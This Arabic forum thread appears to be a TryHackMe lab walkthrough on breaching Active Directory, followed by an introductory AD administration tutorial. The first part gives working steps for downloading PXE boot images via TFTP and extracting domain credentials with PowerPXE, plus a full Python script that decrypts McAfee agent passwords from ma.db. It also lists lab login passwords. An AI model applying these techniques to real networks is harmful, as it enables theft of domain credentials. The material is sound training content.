أول معلومة بتحتاجها من الـ DHCP هي IP سيرفر الـ MDT بتقدر تستخرجها من مخطط الشبكة للتحدي TryHackMe


ثاني معلومة هي أسماء ملفات الـ BCD هاي الملفات بتخزن معلومات الـ PXE Boot لأنواع architecture مختلفة

عشان نستخرج هاي المعلومات بنفوت على موقع pxeboot.za.tryhackme.com بنلاقي عدة ملفات BCD



عادة بنستخدم الـ TFTP لطلب كل ملفات الـ BCD وتعداد تكوينها

لكن عشان نختصر وقت بنركز على ملف الـ BCD للهندسة x64



بننسخ الاسم وبنخزنه عننا , خلينا نسميه الـ placeholder
كود:
x64{841DFEEF-A140-4431-A20E-F16A499C73A4}.bcd

الملفات وأسمائها بتجدد يوميًا بالـ MDT

كل مرة بتشوف هاد الـ placeholder تذكر تستبدله باسم ملف الـ BCD الخاص فيك بالتحدي لاحظ كمان إذا الشبكة هسا بدأت أسماء الملفات بتتجدد بعد 10 دقائق من نشاط الشبكة

الآن بعد ما عرفنا المعلومات الأولية من الـ DHCP بنقدر نعد ونسترجع صورة الـ PXE Boot

بنستخدم اتصال SSH على THMJMP1 للخطوات القادمة بنسجل دخول لهاد الاتصال باستخدام :






لبدء الجميع بالشبكة باستخدام SSH

بننشئ مجلد وبندخل عليه وبننسخ مستودع powerpxe للمجلد عن طريق امر :

كود:
copy c:\powerpxe\* .

الخطوة الأولى هي نستخدم الـ TFTP لتحميل ملف الـ BCD وقراءة تكوين سيرفر الـ MDT , الـ TFTP أصعب شوي من الـ FTP لأنه ما بنقدر ندرج الملفات , بدال ما نعمل هيك بنقدر نرسل طلب ملف والسيرفر بتصل علينا عن طريق الـ UDP لنقل الملف ولازم نكون دقيقين لما نحدد الملفات والمسارات

ملفات الـ BCD دائمًا بتكون بمجلد الـ Tmp على سيرفر الـ MDT

بنقدر نبدأ نقل عن طريق بروتوكول الـ TFTP باستخدام الأمر التالي :


كود:
tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd


عشان نعرف الـ IP الخاص بـ THMMDT بنستخدم امر nslookup thmmdt.za.tryhackme.com او من الخريطه للشبكه اللي معنا بالتحدي


بعد ما نسترجع ملف الـ BCD بنستخدم الـ powerpxe لقراءة محتوياته


مشاهدة المرفق 12013
مشاهدة المرفق 12012



الـ powerpxe هو سكريبت PowerShell بعمل هاد النوع هجمات تلقائيه لكن عادة بنتائج متفاوتة عشان هيك افضل نعملها يدوي , بنستخدم دالة Get-WimFile من powerpxe لاسترجاع مواقع الـ PXE Boot من ملف الـ BCD عن طريق الاوامر :
كود:
powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile


سبب استخدامنا لداله Get-WimFile

ملفات الـ Wim هي Image قابلة للإقلاع بتنسيق Windows Imaging Format (WIM)
الآن بعد ما حصلنا على موقع الـ PXE Boot بنقدر مرة ثانية نستخدم الـ TFTP لتحميل الـ Image عن طريق الامر :

كود:
tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim

هاد التحميل باخذ وقت لأنه بنحمل صورة ويندوز قابلة للإقلاع وكاملة ممكن تستغل الوقت وتاخذ استراحة.



استخراج بيانات الاعتماد من صورة PXE Boot

الآن بعد ما استرجعنا الـ PXE Boot بنقدر نستخرج بيانات الاعتماد المخزنة ( الـ credentials )

وفي هجمات كثيرة بنقدر ننفذها بنقدر نضيف مستخدم local administrator عشان نحصل على وصول إداري بعد ما الـ Image تشتغل أو نثبت الـ Image عشان يكون عننا جهاز مرتبط بالدومين

لو مهتم تعرف أكثر عن هاي الهجمات بتقدر تشوف هاد المقال article هاد التمرين بركز على هجوم بسيط لاستخراج الـ credentials

مرة ثانية بنستخدم الـ powerpxe عشان نستخرج الـ credentials لكن بتقدر تعملها يدويًا عن طريق استخراج الـ Image والبحث عن ملف الـ bootstrap.ini حيث عادةً تُخزن هاي البيانات

لاستخدام powerpxe لاستخراج بيانات الاعتماد من ملف bootstrap بنستخدم الامر التالي :

كود:
Get-FindCredentials -WimFile pxeboot.wim

بنخليه يحمل شوي لثواني

مشاهدة المرفق 12018

وهيك صار عننا المعلومات

مشاهدة المرفق 12019

هيك بنكون استخرجنا Active Directory credentials وبنقدر نستخدمها طبعا!











الـ Configuration Files

آخر اشي راح احكي عنو في هاد الموضوع هو ملفات التكوين

خلينا نفترض أنك كنت محظوظ وتتسببت بخرق او وصلتك معلومه سمحتلك توصل إلى مضيف على شبكة المنظمة. في هذه الحالة، فإن

ملفات التكوين هي طريق ممتاز لاستكشافه ومحاولة استعادة Active Directory credentials بناءً على الـ host اللي تم اختراقه ممكن تكون ملفات التكوين مختلفة والها قيمة للـ enumeration :

  • ملفات تكوين تطبيقات الويب
  • ملفات تكوين الخدمات
  • مفاتيح السجل (Registry keys)
  • التطبيقات المنتشرة مركزيًا
يمكن استخدام عدة سكربتات للـ enumeration مثل Seatbelt لعمل هذه المهمه تلقائي

ملفات التكوين الـ credentials

راح نركز على استعادة الـ credentials من النقطة الرابعة اللي ذكرناها فوق

عادةً بتحتاج التطبيقات هاي لطريقة للمصادقة على الـ domain خلال المرحلتين التثبيت والتنفيذ

مثال على هاي التطبيقات هو McAfee Enterprise Endpoint Security اللي ممكن تستخدمه المؤسسات كأداة للكشف والاستجابة للأمان على النقاط النهائية ( endpoint detection )

الـ McAfee بضمن الـ credentials المستخدمة أثناء التثبيت للاتصال بالـ orchestrator بملف يسمى ma.db

بإمكاننا نسترد ملف قاعده البيانات هاد وقراءته من خلال local access للـ host لاستعادة حساب Active Directory service

بنستخدم الـ SSH على THMJMP1 مرة ثانيه لهاد التحدي




يتم تخزين ملف ma.db في موقع ثابت :
كود:
C:\ProgramData\McAfee\Agent\DB



بإمكاننا نستخدم الامر عشان ننسخ الملف على جهازنا عن طريق الامر :
كود:
scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .


بعدها عشان نقرأ ملف قاعدة البيانات بنستخدم اداه sqlitebrowser باستخدام الأمر :

كود:
sqlitebrowser ma.db


مشاهدة المرفق 12024



بنختار خيار Browse Data وبنركز على جدول AGENT_REPOSITORIES :


جدول الـ AGENT_REPOSITORIES

بنركز على السطر الثاني وبنخزن بعض المعلومات المهمه زي DOMAIN و AUTH_USER و AUTH_PASSWD وزي ما هو ظاهر يتم تشفير حقل الـ AUTH_PASSWD

لحسن الحظ بتشفر الـ McAfee كلمات المرور بمفتاح معروف وهيك بنستخدم سكربت الخاص بـ Python2 لفك تشفير كلمة المرور

هاد هو رابط السكريبت


اذا كنت بتشتغل على AttackBox بتلاقي السكريبت بهاد المسار /root/Rooms/BreachingAD/task7/

مشاهدة المرفق 12027

ملاحظة

الأداة اللي بنستخدمها قديمة بتستخدم Python v2 وبتعتمد على مكتبة تشفير قديمة

ف هاد هو السكريبت مع تعديل حتى يشتغل بدون اي مشاكل

كود:
import base64
from Crypto.Cipher import DES3
from Crypto.Hash import SHA1


KEY = bytes.fromhex("12150F10111C1A060A1F1B1817160519")

def sitelist_xor(xs):
    return bytes([c ^ KEY[i % 16] for i, c in enumerate(xs)])

def des3_ecb_decrypt(data):

    sha1_key = SHA1.new(b'<!@#$%^>').digest() + b"\x00\x00\x00\x00"
    des3 = DES3.new(sha1_key, DES3.MODE_ECB)
    decrypted = des3.decrypt(data)

    return decrypted.split(b'\x00', 1)[0] or b"<empty>"

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage:   %s <base64 passwd>" % sys.argv[0])
        print("Example: %s 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='" % sys.argv[0])
        sys.exit(0)


    encrypted_password = base64.b64decode(sys.argv[1])

    xor_decrypted = sitelist_xor(encrypted_password)
    password = des3_ecb_decrypt(xor_decrypted)

    print("Crypted password   : %s" % sys.argv[1])
    print("Decrypted password : %s" % password.decode())

    sys.exit(0)





الآن عننا مجموعة من الـ Active Directory credentials بإمكاننا نستخدمها لمزيد من الـ enumeration

هاد مثال على استعاده credentials من ملفات التكوين ...















ما شاء الله كل هذا part 1 🙌❤️
بإنتظار القادم
 
بسم الله ماشاء الله , طرح مميز جدا
تعرف انه معي MCSA من 2020 مع ذلك طريقة السرد و الشرح خلتني اقرا الموضوع بشكل تفصيلي وكانه اول مرة بسمع في Active Directory
كتب الله اجرك ونفع امة محمد [ﷺ] بعلمك.
 
بسم الله ماشاء الله , طرح مميز جدا
تعرف انه معي MCSA من 2020 مع ذلك طريقة السرد و الشرح خلتني اقرا الموضوع بشكل تفصيلي وكانه اول مرة بسمع في Active Directory
كتب الله اجرك ونفع امة محمد [ﷺ] بعلمك.
واياك يارب🥰
اشكرك على كلامك المحفز 🫡
 

الـ Active Directory يستخدم من قبل حوالي 90% من الشركات الكبيرة حول العالم. إذا كانت الشركة بتستخدم نظام تشغيل Windows من مايكروسوفت ف محتمل جدًا أنها بتستخدم الـ Active Directory , الـ Active Directory من مايكروسوفت هي المجموعة الأساسية لإدارة شبكات الدومين بالـ Windows ولأنها تُستخدم لإدارة الهوية والوصول فهي اكيد هدف رئيسي للمهاجمين وهو ببساطه ببسط اداره الاجهزه والمستخدمين داخل الشركه او نحكي الشبكه

وكمان راح نشرح بهاد الدرس طريق يمكن استخدامها لاختراق الـ AD ونقدر نحصل على الـ credentials وطبعا بإمكاننا نستخدم هاي الطرق اما اننا نستهدف انظمه الشركة اللي متصله بالنت او نزرع جهاز مخترق بالشبكة


راح نركز على الامور هاي بهاد الروم


1. ما هو الـ Windows Domains
2. ما هو الـ Active Directory
3. إدارة المستخدمين بالـ Active Directory
4. إدارة الاجهزة بالـ Active Directory
5. تنظيم الـ Group Policies بالـ Active Directory
6. طرق الـ Authentication بالـ Active Directory
7. اداره الـ Treesو Forests بالـ Active Directory
8. مقدمة عن اختراق الـ Active Directory
9. تقنيات اختراق الـ Active Directory
10. مراحل الـ Authentication الـ LLMNR و NBT-NS و WPAD
11. الـ Microsoft Deployment Toolkit
12. الـ Configuration Files




ما هو الـ Windows Domains

تخيل انك بتدير شركه صغيره بتحتوي على 5 اجهزه و 5 موظفين بس بالحاله هاي بتعمل الاعدادات لكل جهاز على حدى بشكل بسيط وبتنشأ حساب لكل جهاز واذا تعطل جهاز او اعداد بتروح وبتصلحه لكن المشكله اذا توسع شغلك او كنت مسؤول عن 200 جهاز و 300 موظف هل راح تقدر تدير كل هاي الاجهزه والاعدادات والمستخدمين واحد واحد لا طبعا

حل هاي المشكله هو الـ
Windows Domains ببساطة هو مجموعة من المستخدمين وأجهزة الكمبيوتر تحت إدارة عمل معين.
الفكرة الأساسية هي تجميع إدارة مكونات شبكة الكمبيوتر بمكان واحد اسمه Active Directory (AD) والخادم يدير خدمات الـ Active Directory هو الـ Domain Controller (DC)


Windows Domain Overview

مزايا الـ Windows Domains

  1. إدارة الهوية المركزية : بأمكانك إعداد جميع المستخدمين على الشبكة بسهولة من خلال الـ Active Directory
  2. إدارة سياسات الأمان : بأمكانك تضبط سياسات الأمان مباشرة من الـ Active Directory وتطبيقها على المستخدمين وأجهزة الكمبيوتر حسب الحاجة.

مثال واقعي

اذا تعاملت قبل مع الـ Windows Domains بمدرستك أو بجامعتك أو بعملك بتحصل عادة على اسم مستخدم وكلمة مرور بامكانك تستخدمهم على أي جهاز كمبيوتر متاح بالمكان بتكون هاي البيانات صالحة على جميع الأجهزة لأن عملية التحقق تتم عبر الـ Active Directory, بفضل الـ Active Directory ما بتحتاج تكون بياناتك موجوده على كل الاجهزه

وايضا الـ Active Directory بأمكانه يقييد وصولك لبعض الأجزاء من النظام مثل لوحة التحكم على أجهزة مدرستك أو جامعتك



عننا مثال بنفترض دور مسؤول تكنولوجيا المعلومات الجديد بشركة THM Inc

طُلب منا مراجعة النطاق الحالي THM.local وإجراء بعض التعديلات

بالمثال راح نحصل على بيانات دخول إدارية على خادم Domain Controller مسبق التكوين لأداء المهام

لتبدأ المثال بنضغط على زر Start Machine لفتح الجهاز بمتصفحك إذا كنت تفضل الاتصال عبر RDP استخدم البيانات التالية :

  • اسم المستخدم: Administrator
  • كلمة المرور: Password321

ملاحظة: عند الاتصال عبر RDP استخدم THM\Administrator لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم Administrator في نطاق THM
طبعا عشان نتصل عن طريق الـ RDP بنشغل الـ vpn اللي من TryHackMe عشان نتصل على الشبكه الخاصه فيهم وبنشغل المشين وبعدها بنفتح على ويندوز الـ Remote Desktop Connection وبنحط الـ ip وبنعمل conn





ما هو الـ Active Directory


الـ Active Directory هو نظام أساسي مهم في أي شبكة Windows بقدّم خدمات تسمى AD | DS وهي تخزن معلومات كل الـ objects الموجودة بالشبكة مثل المستخدمين والمجموعات والأجهزة والطابعات وغيرها

نستعرض بعضها:


المستخدمين

المستخدمين هم من أكثر أنواع الـ objects شيوعًا بالـ Active Directory , المستخدمين هم أحد الـ objects المعروفة باسم security principals ، يعني يمكن التحقق من هويتهم بواسطة الدومين ويمكن تخصيص صلاحيات لهم على الموارد مثل الملفات أو الطابعات بأمكانك تحكي أن الـ security principal هو object بأمكانه يشتغل او يعمل على الموارد بالشبكة
المستخدمين : الأشخاص اللي بدخلوا على الشبكة وممكن يكونوا :
  • الأشخاص : مثل الموظفين اللي بحتاجوا يوصلو للشبكة
  • الخدمات : مثل IIS أو MSSQL وهاي بتحتاج لحساب مستخدم خاص فيها عشان تشتغل

الأجهزة


الأجهزة هي نوع آخر من الـ objects داخل الـ Active Directory لكل كمبيوتر بنضم لدومين الـ Active Directory يتم إنشاء object له
الأجهزة تعتبر أيضًا security principal ويتم تخصيص حساب الها تمامًا مثل أي مستخدم عادي هاد الحساب اله حقوق محدودة إلى حد ما داخل الدومين نفسه

  • الأجهزة: لكل جهاز بنضم للشبكة يُنشأ له حساب خاص بالـ Active Directory هاي الحسابات بتكون مشابهة لحسابات المستخدمين ولكن بقدرات محدودة عادة غير ممكن لاي أحد يدخل لحسابات الأجهزة ( يعني حساب المسؤول ) إلا من الجهاز نفسه لكن إذا كان عندك كلمة المرور بإمكانك الدخول

حسابات الأجهزة نفسها هي مسؤولي النظام المحليين على الكمبيوتر المعين بشكل عام لا يُفترض أن يتم الوصول إليها من قبل أي شخص باستثناء الكمبيوتر نفسه، ولكن كما هو الحال مع أي حساب آخر، إذا كان لديك كلمة المرور، يمكنك استخدامها لتسجيل الدخول.

ملاحظة: يتم تدوير كلمات مرور حسابات الأجهزة تلقائيًا وتتكون عادة من 120 حرفًا عشوائيًا. يمكن التعرف على حسابات الأجهزة بسهولة لانها بتتبع نمط تسمية معين , اسم حساب الجهاز هو اسم الكمبيوتر متبوعًا بعلامة الدولار مثلا جهاز اسمه DC01 بكون عنده حساب يسمى DC01$

إذا كنت بتعرف Windows منيح بتعرف أنه بإمكانك تعمل تعريف لمجموعات المستخدمين لتخصيص حقوق الوصول لـ الملفات أو الموارد الأخرى لمجموعات كاملة بدلاً من مستخدمين منفردين. هاد بسمح بإدارة أفضل حيث بإمكانك تضيف المستخدمين إلى مجموعة موجودة وبرثو تلقائيً جميع حقوق المجموعة , مجموعات الأمان تعتبر أيضًا
security principals ، ولذلك يمكن أن تكون لها صلاحيات على الموارد بالشبكة.
يمكن أن تضم المجموعات كل من المستخدمين والأجهزة كأعضاء. إذا لزم الأمر، يمكن أن تضم المجموعات مجموعات أخرى أيضًا.
يتم إنشاء عدة مجموعات بشكل افتراضي في الدومين يمكن استخدامها لمنح صلاحيات محددة للمستخدمين. على سبيل المثال، هنا بعض من أهم المجموعات بالدومين :


مجموعة الأمانالوصف
الـ Domain Adminsالمستخدمون بالمجموعة هاي عندهم صلاحيات إدارية على كامل الدومين. افتراضيًا، يمكنهم إدارة أي كمبيوتر في الدومين، بما في ذلك أجهزة التحكم في الدومين (DCs).
الـ Server Operatorsالمستخدمون بالمجموعة هاي بإمكانهم إدارة أجهزة التحكم بالدومين. لا يمكنهم تغيير عضوية أي مجموعة إدارية.
الـ Backup Operatorsالمستخدمون بالمجموعة هاي بإمكانهم الوصول إلى أي ملف، متجاهلين صلاحياته. يستخدمون لأخذ نسخ احتياطية من البيانات على أجهزة الكمبيوتر.
الـ Account Operatorsالمستخدمون بالمجموعة هاي بإمكانهم إنشاء أو تعديل الحسابات الأخرى في الدومين.
الـ Domain Usersتشمل جميع حسابات المستخدمين الموجودة في الدومين.
الـ Domain Computersتشمل جميع أجهزة الكمبيوتر الموجودة في الدومين.
الـ Domain Controllers تشمل جميع أجهزة التحكم في الدومين الموجودة في الدومين.

يمكنك الحصول على القائمة الكاملة لمجموعات الأمان الافتراضية من Microsoft documentation

عشان نقدر نكوّن المستخدمين والمجموعات أو الأجهزة بالـ Active Directory لازم ندخل على الـ Domain Controller ونشغل الـ Active Directory Users and Computers :



هاد بفتحلنا نافذة بنقدر نشوف فيها هيكل المستخدمين والأجهزة والمجموعات اللي موجودة بالدومين

الامور هاي مقسمة بوحدات تنظيمية (OUs) اللي هي عبارة عن حاويات بتسمحلك تصنف المستخدمين والأجهزة.

الوحدات التنظيمية هاي عادةً بنستخدمها عشان نحدد مجموعات من المستخدمين اللي عندهم نفس متطلبات السياسات. الناس اللي بقسم المبيعات في شركتك غالبًا بكون عندهم مجموعة سياسات مختلفة عن الناس اللي بقسم تقنية المعلومات مثلاً. خلي ببالك إن المستخدم ممكن يكون بجزء من وحدة تنظيمية وحدة بس بنفس الوقت

لو شفنا عننا بنلاقي فيه وحدة تنظيمية اسمها THM ومعاها أربع وحدات تنظيمية فرعية لقسم تقنية المعلومات الإدارة التسويق والمبيعات.



الوحدات التنظيمية عاده بتكون متشابهة لبنية العمل عشان يسهل علينا نطبق السياسات اللي تنطبق على الأقسام كلها هاد النموذج المتوقع أغلب الوقت بس بإمكاننا نحدد الوحدات التنظيمية بأي طريقة بنحبها
ممكن تضغط كليك يمين على وحدة THM وتعمل وحدة تنظيمية جديدة تحتها باسم Students مثلا ...

لو فتحت أي وحدة تنظيمية بتقدر تشوف المستخدمين اللي فيها وتعمل مهام بسيطة زي إنشاء حذف أو تعديلهم حسب الحاجة. بتقدر كمان تعيد تعيين كلمات المرور لو احتجت (وهاد مفيد جدًا لقسم الدعم الفني)



ممكن تكون لاحظت إنه فيه حاويات افتراضية تانية غير وحدة THM. الحاويات هاي بعملها Windows تلقائيًا وبتحتوي على الآتي :

  • الـ Builtin : فيها المجموعات الافتراضية اللي متاحة لأي جهاز Windows .
  • الـ Computers : أي جهاز بنضم للشبكة بنحط هنا بشكل افتراضي. بتقدر تحركهم لو احتجت.
  • الـ Domain Controllers : وحدة تنظيمية افتراضية بتحتوي على وحدات تحكم الدومين في شبكتك.
  • الـ Users : المستخدمين والمجموعات الافتراضية اللي بتنطبق على مستوى الدومين كله.
  • الـ Managed Service Accounts : فيها الحسابات اللي بتستخدمها الخدمات بدومين Windows الخاص فيك


المجموعات الأمنية مقابل الوحدات التنظيمية

ممكن تتساءل ليه عننا مجموعات ووحدات تنظيمية. رغم إن الاثنين بستخدموا لتصنيف المستخدمين والأجهزة، لكن أغراضهم مختلفة تمامًا:

  • الوحدات التنظيمية : بنستخدمها لتطبيق السياسات على المستخدمين والأجهزة، اللي بتشمل تكوينات محددة بتنطبق على مجموعات المستخدمين حسب دورهم بالمؤسسة. زي لما حكينا إن المستخدم بكون عضو بوحدة تنظيمية وحدة بس بنفس الوقت عشان مش منطق نحاول نطبق مجموعتين مختلفتين من السياسات على مستخدم واحد 🫠.

  • المجموعات الأمنية: بنستخدمها عشان نعطي صلاحيات للوصول للموارد. مثلاً، لو بدك تسمح لبعض المستخدمين بالوصول لمجلد مشترك أو طابعة شبكة , المستخدم ممكن يكون عضو بمجموعات كثيرة وهاد مطلوب عشان نعطيهم صلاحية للوصول لأكتر من مورد










إدارة المستخدمين بالـ Active Directory


سيناريو

مهمتك الأولى كمسؤول Domain جديد هي التحقق من وجود وحدات التنظيم الإداري (OUs) والمستخدمين الحاليين بالـ AD ، نظرًا لحدوث بعض التغييرات الأخيرة بالشركة تم تزويدك بالرسم البياني التنظيمي التالي ومن المتوقع أن تقوم بإجراء تغييرات بالـ AD لتتوافق معه :
الرسم البياني التنظيمي لشركة THM

THM Organisational Chart




حذف الـ OUs والمستخدمين الزائدين
أول شيء يجب ملاحظته هو أن هناك وحدة تنظيمية إضافية في تكوين AD الحالي لا تظهر بالرسم البياني. تم إغلاقها بسبب تخفيضات الميزانية ويجب إزالتها من النطاق. إذا حاولت النقر بزر الماوس الأيمن وحذف الـ OU ، ستحصل على رسالة خطأ تفيد :

بشكل افتراضي، تكون الـ OU'S محمية ضد الحذف العرضي. لحذف الـ OU، بنحتاج لتمكين الميزات المتقدمة في قائمة View > تمكين الميزات المتقدمة


بظهرلك بعض الحاويات الإضافية وبإمكانك تعمل تعطيل من حماية الحذف العرضي الها عن طريق الظغط على زر الماوس الأيمن على OU واذهب إلى الخصائص. ستجد خانة الاختيار في خانه الـ object لتعطيل الحماية:


تأكد من إلغاء التحديد وحاول حذف OU مرة أخرى سيُطلب منك تأكيد رغبتك في حذف الـ OU ونتيجة لحذفها سيتم حذف أي مستخدمين أو مجموعات أو OUs تحتها أيضًا.

بعدها لازم نتاكد من المستخدمين اللي بالاقسام بنلاحظ أن بعض الأقسام المستخدمين في AD ما يتطابقون مع اللي موجودة بالرسم البياني التنظيمي اللي عننا ف بنعمل إنشاء وحذف المستخدمين حسب الحاجة لمطابقتهم.

هون بنمحي المستخدمين الزياده



التفويض
أحد الأشياء الجيدة التي بإمكانك القيام بها بالـ AD هو منح مستخدمين محددين بعض التحكم ببعض الـ OUs. تعرف العملية هاي باسم التفويض وبتسمحلك تمنح مستخدمين صلاحيات محددة لأداء مهام متقدمة على OUs دون الحاجة إلى تدخل الـ Domain Administrator.

أحد أكثر حالات الاستخدام شيوعًا لهذا هو منح فريق الدعم تقني صلاحيات إعادة تعيين كلمات مرور المستخدمين ذوي الصلاحيات المنخفضة. وفقًا لرسمنا التنظيمي يتولى فيليب مسؤولية الدعم تقني، لذا من المحتمل أن نرغب في منحه التحكم في إعادة تعيين كلمات المرور لأقسام المبيعات والتسويق والإدارة.

عشان نمنح فيليب التحكم بالـ OU للمبيعات، بأمكاننا النقر بزر الماوس الأيمن عليها واختيار Delegate Control:



يجب أن تفتح نافذة جديدة تُطلب منك أولاً تحديد المستخدمين الذين ترغب في منحهم التحكم:

\بنكتب اسمه بعدها بنكبس على Check
بعدها نعطيه صلاحيه تغير الباسورد
والآن يجب أن يكون فيليب قادرًا على إعادة تعيين كلمات المرور لأي مستخدم في قسم المبيعات. بينما قد ترغب في تكرار هذه الخطوات لمنح إعادة تعيين كلمات المرور لأقسام التسويق والإدارة
الآن دعونا نستخدم حساب فيليب لمحاولة إعادة تعيين كلمة مرور سوفي.

إليك بيانات اعتماد فيليب لك تسجيل الدخول عبر RDP:


اسم المستخدم phillip
كلمة المرور Claire2008

ملاحظة: عند الاتصال عبر RDP، استخدم THM\phillip كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم فيليب على نطاق THM



بينما قد تميل إلى الذهاب إلى أدوات مستخدمي Active Directory ومحاولة اختبار صلاحيات فيليب الجديدة، ف بنشوف انه ما اله صلاحيات لفتحها ، عشان هيك بتعين علينا نستخدم طرق ثانيه لإعادة تعيين كلمات المرور.

بهاي الحالة، بنستخدم الـ Powershell :


كود:
PS C:\Users\phillip> Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

New Password: *********

VERBOSE: Performing the operation "Set-ADAccountPassword" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".


.نظرًا لأننا لا نرغب في أن يستمر استخدام سوفي لكلمة مرور نعرفها، يمكننا أيضًا فرض إعادة تعيين كلمة المرور في تسجيل الدخول التالي باستخدام الأمر التالي:


كود:
PS C:\Users\phillip> Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

VERBOSE: Performing the operation "Set" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".



بنسجل دخول لحساب سوفي باستخدام كلمة المرور الجديدة اللي حطيناها وبنلاقي الحل على سطح مكتب سوفي.

ملاحظة: عند الاتصال عبر RDP، استخدم THM\sophie كاسم مستخدم لتحديد أنك تريد تسجيل الدخول باستخدام المستخدم سوفي على نطاق THM.


هاي هي الخطوه الثانيه اللي عملناها











إدارة الاجهزة بالـ Active Directory

بشكل افتراضي تُضاف جميع الأجهزة اللي بتنضم لنطاق معين (باستثناء المراكز التحكم الرئيسية) إلى حاوية تسمى Computers
إذا تحققنا من مركز التحكم الرئيسي بنلاقي انه بعض الأجهزة موجودة هناك :


حاوية Computers OU

لما نفوت عليها بنلاقي خوادم وأجهزة محمولة وأجهزة كمبيوتر التي بتتناسب مع المستخدمين بشبكتنا , طبعا وضع كل الأجهزة هون فكرة مش منيحه لأنه اكيد بدك تطبق سياسات على كل نوع منهم ف ما رح تطبق نفس السياسات للخوادم والأجهزة اللي بستخدمها المستخدمون العاديون يوميًا.



نقطة البداية الممتازة هي نفصل الأجهزة حسب استخدامها. بشكل عام ممكن نشوف الاجهزه مقسمه لثلاث فئات :

  1. الأجهزة العملية (workstation)
من المتوقع أن يقوم كل مستخدم في النطاق بتسجيل الدخول ل workstation ,هذا هو الجهاز الذي سيستخدمونه لأداء أعمالهم أو للتصفح العادي. لا يجب أبدًا أن يكون هناك مستخدم مؤهل مسجل على هذه الأجهزة. وهي الأكثر شيوعًا
  1. الخوادم (Servers)
تُستخدم الخوادم عادةً لتوفير الخدمات للمستخدمين أو لخوادم أخرى.
  1. مراكز التحكم الرئيسية (Domain Controllers)
بتتيحلك مراكز التحكم الرئيسية لإدارة نطاق الـ Active Directory , تعتبر هاي الاجهزه من أكثر الأجهزة حساسية ضمن الشبكة لأنها بتحتوي على كلمات مرور مشفرة لجميع حسابات المستخدمين داخل الـ environment .

نكمل السناريو
مش احنا بننظم الـ AD الخاص فينا بننشئ مجموعتين منفصلتين للأجهزة: مجموعة للأجهزة العملية وأخرى للخوادم (مراكز التحكم الرئيسية بالفعل في مجموعة أنشأتها Windows). بننشئهم تحت النطاق thm.local




الآن بس بننقل أجهزة الكمبيوتر الشخصية وأجهزة الكمبيوتر المحمولة لقسم الـ workstation والخوادم لقسم الـ servers من قسم الـ Computers , بتيحلنا هاد اللي عملناه تكوين السياسات لكل قسم لحال

بعد ما ننشئ قسمين وننقل عليهم الاجهزه









تنظيم الـ Group Policies بالـ Active Directory

حتى الآن نظمنا المستخدمين وأجهزة الكمبيوتر بوحدات تنظيمية (OUs) الفكرة الاساسية هي انو نضع سياسات مختلفة لكل وحدة تنظيمية بشكل فردي. هيك بإمكاننا نطبق تكوينات وسياسات للأمان مختلفة للمستخدمين حسب إداراتهم.

إدارة السياسات عبر الـ Group Policy Objects (GPO)

الـ GPOs هي ببساطة مجموعة من الإعدادات اللي ممكن تطبيقها على الوحدات التنظيمية. ممكن تحتوي الـ GPOs على سياسات بتستهدف إما المستخدمين أو أجهزة الكمبيوتر

كيفية تكوين الـ GPOs


لتكوين الـ GPOs بإمكانك تستخدم أداة Group Policy Management

بس نفتح الأداة بظهرلك هيكلية الوحدات التنظيمية الكاملة اللي شفناها قبل

عشان ننشئ سياسة جديدة

بننشئها تحت الـ Group Policy Objects بعدها بنربطها بالوحدة التنظيمية اللي بدنا نطبق السياسات هاي عليها

مثلا في ثلاث سياسات موجودة بالفعل بالجهاز : Default Domain Policy و RDP Policy و Default Domain Controllers Policy




سياسات Default Domain Policy و RDP Policy مرتبطة بنطاق thm.local كامل ، بينما سياسة Default Domain Controllers Policy مرتبطة بوحدة Domain Controllers فقط.


تطبيق GPOs على الوحدات التنظيمية الفرعية:
أي GPO مرتبطة بوحدة تنظيمية بتنطبق على أي وحدات تنظيمية فرعية تحتها يعني وحدة Sales بتنطبق عليها سياسة Default Domain Policy

تحليل GPO

بنفتح على سياسة Default Domain Policy ، لما نختارها بظهر الـ (scope) اللي بتظهر مكان الـ linked الـ GPO بالـ (AD) بهاي الحاله تم ربطها بس بنطاق الـ thm.local

الـ Security Filtering بالـ GPO

بامكاننا نطبق الـ Security Filtering على الـ GPOs بحيث تنطبق فقط على المستخدمين/الكمبيوترات المحددة ضمن وحدة تنظيمية ( او قسم معين يعني ).
افتراضيًا، بتنطبق على مجموعة المستخدمين المصادق عليهم ( Authenticated Users ) اللي بتشمل كل المستخدمين/الكمبيوترات.


الإعدادات بالـ GPO

تحتوي الإعدادات على محتويات الـ GPO الفعلية وبتتيحلنا نعرف التكوينات المحددة اللي بتنطبق , بتحتوي كل الـ GPO على تكوينات بتنطبق على الكمبيوترات بس وتكوينات بتنطبق على المستخدمين بس.

بهاي الحالة بتحتوي سياسة الـ Default Domain Policy على تكوينات الكمبيوتر فقط.



تغيير إعدادات الـ GPO

لتغيير سياسة طول كلمة المرور الأدنى مثلا

اتبع الخطوات التالية:


بنظغط كلك يمين على الـ GPO وبنختار Edit
بعدها بنروح لـ Computer Configurations -> Policies -> Windows Setting -> Security Settings -> Account Policies -> Password Policy

بعدها بنغير قيمة السياسة المطلوبة (مثل طول كلمة المرور الأدنى).

استكشاف المزيد من السياسات

هناك العديد من السياسات التي يمكن تكوينها في الـ GPO. يمكنك استكشاف المزيد من السياسات المتاحة والتفاصيل الخاصة بها بالنقر المزدوج عليها وقراءة علامة تبويب التفسير (Explain) لكل منها.





الـ GPOs بتتوزع على الشبكة عن طريق مكان للمشاركة بالشبكة اسمه SYSVOL اللي موجود بالـ Domain Controller (DC)
